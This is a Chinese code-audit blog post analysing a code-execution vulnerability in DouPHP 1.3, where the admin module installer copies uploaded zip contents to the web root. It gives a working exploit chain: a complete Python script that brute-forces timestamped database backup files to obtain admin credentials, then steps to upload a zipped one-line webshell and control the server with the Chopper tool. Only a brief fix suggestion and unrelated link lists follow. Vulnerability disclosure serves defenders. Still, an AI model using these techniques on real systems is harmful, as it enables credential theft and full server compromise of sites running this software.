0x00 环境准备

DouPHP官网:http://www.douco.com/

程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002.rar

测试网站首页:

0x01 代码分析

1、文件位置: /admin/module.php 第64-77行中:

  1. if ($rec == 'install') {
  2. // 判断是否有上传文件
  3. if ($_FILES['zipfile']['name'] == '') {
  4. $dou->dou_msg($_LANG['module_file_empty'], 'module.php?rec=local');
  5. else {
  6. $zipfile_name = preg_replace('/.zip/i', '', $_FILES['zipfile']['name']);
  7. }
  8. // CSRF防御令牌验证
  9. 10.     $firewall->check_token($_POST['token']);
  10. 11.
  11. 12.     if ($dou_upload->upload_image('zipfile', $zipfile_name))
  12. 13.         $dou->dou_header('cloud.php?rec=handle&type=module&mode=local&cloud_id=' . $zipfile_name);

14. }

这段函数中对上传的文件名进行判断,然后成功上传文件,跳转到cloud.php?rec=handle&type=module&mode=local&cloud_id=,跟进这个模块,看如何处理的

2、文件位置: /admin/cloud.php 第35-49行中,对上面获取的参数进行处理,调用handle函数,跟进去看看:

  1. if ($rec == 'handle') {
  2. $smarty->assign('ur_here', $_LANG['cloud_handle']);
  3. // 验证并获取合法的ID
  4. $cloud_id = $check->is_extend_id($_REQUEST['cloud_id']) ? $_REQUEST['cloud_id'] : '';
  5. $type = $_REQUEST['type'];
  6. $mode = $check->is_letter($_REQUEST['mode']) ? $_REQUEST['mode'] : '';
  7. $smarty->assign('type', $_LANG['cloud_' . $type]);
  8. 10.     $smarty->assign('cloud_id', $cloud_id);
  9. 11.     $smarty->assign('mode', $mode);
  10. 12.
  11. 13.     $smarty->display('cloud.htm');
  12. 14.     $GLOBALS['dou_cloud']->handle($type, $cloud_id, $mode);

15. }

3、文件位置/admin/include/cloud.class.php,第40-103行中,对handle函数进行部分摘录,前面几步STEP基本没问题,我们来看一下STEP4,调用了install函数,跟进去看看:

  1. function handle($type, $cloud_id, $mode = '') {
  2. // 基础数据
  3. $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 扩展压缩包
  4. $item_dir = $this->cache_dir . $cloud_id; // 扩展目录
  5. '''
  6. // STEP1 安装条件验证
  7. // STEP2 下载压缩包,如果是本地安装则直接显示正在解压缩
  8. // STEP3 解压缩
  9. ''''
  10. 10.        // STEP4 安装模块
  11. 11.        if ($wrong = $this->install($type, $cloud_id, $mode)) {
  12. 12.            $this->dou_flush($wrong);
  13. 13.            exit;
  14. 14.        } else {
  15. 15.            $text = $mode == 'update' ? $GLOBALS['_LANG']['cloud_update_0'] : $GLOBALS['_LANG']['cloud_install_0'];
  16. 16.            $success[] = $text . $cloud_id . $GLOBALS['_LANG']['cloud_install_1'];
  17. 17.            $success[] = $this->msg_success($type, $cloud_id);
  18. 18.
  19. 19.            $this->dou_flush($success);
  20. 20.        }
  21. 21.    }

4、文件位置/admin/include/cloud.class.php,第115-133行:

  1. function install($type, $cloud_id, $mode) {
  2. global $prefix;
  3. // 基础数据
  4. $item_zip = $this->cache_dir . $cloud_id . '.zip'; // 模块压缩包
  5. $item_dir = $this->cache_dir . $cloud_id; // 模块目录
  6. $sql_install = $this->root_dir . "data/backup/$cloud_id.sql"; // 安装用的SQL文件
  7. $sql_update = $this->root_dir . "data/backup/$cloud_id" . "_update.sql"; // 升级用的SQL文件
  8. 10.     // STEP1 拷贝模块文件
  9. 11.     if ($type == 'theme') {
  10. 12.         $this->dir_action($item_dir, $this->root_dir . 'theme/' . $cloud_id);
  11. 13.     } elseif ($type == 'mobile') {
  12. 14.         $this->dir_action($item_dir, $this->root_dir . M_PATH . '/theme/' . $cloud_id);
  13. 15.     } elseif ($type == 'plugin') {
  14. 16.         $this->dir_action($item_dir, $this->root_dir . 'include/plugin/' . $cloud_id);
  15. 17.     } else {
  16. 18.         $this->dir_action($item_dir, $this->root_dir);
  17. 19.     }

最后的安装模块过程中,首页就是拷贝模块文件,因$type=module,只能进入最后一个条件,也就是复制解压缩目录下的文件到网站根目录下,导致程序在实现上存在代码执行漏洞。

综上,对所上传的zip文件名只进行简单判断,然后解压缩、安装,当攻击者提供带入恶意代码的脚本,打包为zip文件上传,将被复制到网站根目录,通过该漏洞写入webshell,执行代码,控制服务器权限。

0x02 漏洞利用

A、        如何登陆后台

1、在DouPHP中备份功能代码摘录如下:

  1. // 根据时间生成备份文件名
  2. $file_name = 'D' . date('Ymd') . 'T' . date('His');
  3. $sql_file_name = $file_name . '.sql';

2、那么形成的文件名格式如:D20180118T101433.sql,而且URL访问并没有限制,备份目录是可以访问的,存在敏感信息泄露的风险。

假如管理员做了数据库备份,那么就可以爆破数据库备份文件获取敏感信息。

通过编写Python脚本来尝试爆破,附Python脚本如下:

  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. import time
  4. import requests
  5. import threadpool
  6. date= "2018-01-18 10:00:00"
  7. datelist=[]

10. def gettime():

  1. 11.     timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
  2. 12.     time1= int(time.mktime(timeArray))
  3. 13.     time2=int(time.time())
  4. 14.     for i in range(time1,time2):
  5. 15.         time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
  6. 16.         datelist.append(time3)
  7. 17.     return datelist

18. def req(str):

  1. 19.     try:
  2. 20.         str1,str2=str.split()
  3. 21.         date1="D"+str1+"T"+str2
  4. 22.         url="http://127.0.0.1/data/backup/"+date1+".sql"
  5. 23.         s=requests.get(url,timeout=5)
  6. 24.         if  s.status_code==200:
  7. 25.             print u"数据库备份文件爆破成功:"
  8. 26.             print url
  9. 27.
  10. 28.     except:
  11. 29.         pass
  12. 30.

31. if __name__ == '__main__':

  1. 32.     list=gettime()
  2. 33.     pool = threadpool.ThreadPool(1000)
  3. 34.     requ = threadpool.makeRequests(req,list)
  4. 35.     [pool.putRequest(req) for req in requ]
  5. 36.     pool.wait()
  6. 37.

3、测试截图:

4、通过URL访问数据库备份文件,获取管理员账号密码。当然了,也可以尝试通过弱口令登录后台。

B、代码执行漏洞利用

1、将一句话打包为zip文件,在安装本地模块,点击现在安装,即可成功上传,

2、程序自动解压jian.zip到网站根目录下,生成jian.php

3、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、对上传的zip文件内容进行检测,对模块文件内容格式进行严格限制。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】DouPHP_v1.3代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  3. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  5. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  7. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  8. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. javascript小技巧[转]

    总的来说,如果你要找js 的东西,而不看这两篇的话,肯定要多花好多时间!!哈哈!! 如果你找的javascript的东西的话,建议你 ctrl+F  直接在这个页上找,因为这里80%有你要找的,但是要 ...

  2. dd 命令 sd卡系统迁移

    Linux系统如果想做备份还原,使用ghost的时候经常出现问题,后来发现可以直接使用dd命令完成硬盘的克隆和还原.当拷贝完硬盘后,就可以拿这个硬盘放到其它设备上跑了.也就是完成了“烧写”了. 实际操 ...

  3. 【转】【Python】Python多进程与多线程

    1.1 multiprocessing multiprocessing是多进程模块,多进程提供了任务并发性,能充分利用多核处理器.避免了GIL(全局解释锁)对资源的影响. 有以下常用类: 类 描述 P ...

  4. SQL数据查询之——单表查询

    一.SQL数据查询的一般格式 数据查询是数据库的核心操作.SQL提供了SELECT语句进行数据查询,其一般格式为: SELECT [ALL | DISTINCT]<目标列表达式>[,< ...

  5. vi 打开文件,行末尾有^M

    原因: Windows下的文本文件的每一行结尾,都有一个回车符('\n')和一个换行符('\r') Linux下的文本文件的每一行结尾,只有一个回车符('\n') Mac下的文本文件的每一行结尾,只有 ...

  6. elasticsearch系列二:索引详解(快速入门、索引管理、映射详解、索引别名)

    一.快速入门 1. 查看集群的健康状况 http://localhost:9200/_cat http://localhost:9200/_cat/health?v 说明:v是用来要求在结果中返回表头 ...

  7. CI框架 -- 核心文件 之 Common.php

    system/core/Common.php 文件中可以定义 公共函数,我们可以在这里定义自己的公共函数.在任何情况下你都能够使用这些函数.使用他们不需要载入任何类库或辅助函数. 接下来分析下该文件中 ...

  8. update-alternatives常用命令(转自http://blog.csdn.net/baggio1006/article/details/6338623)

    Linux 发展到今天,可用的软件已经非常多了.这样自然会有一些软件的功能大致上相同.例如,同样是编辑器,就有 nvi.vim.emacs.nano,而且我说的这些还只是一部分.大多数情况下,这样的功 ...

  9. js作为参数,并且返回值;js的回调模式 callback

    有这样一个情景,当我们弹出一个 prompt的时候,要求用户在文本框输入一个文字,然后点击确认,就可以拿到返回值 var temp=prompt("请输入您的名字");     a ...

  10. Xianfeng轻量级Java中间件平台:一期开发计划

    关于Xianfeng轻量级Java中间件平台,考虑到需要控制开发周期,通过分期开发的方式来实现一些基础的.常用的功能,这样有利于跟踪开发计划.一期的开发计划,主要实现的目标如下: 系统架构: 1.确定 ...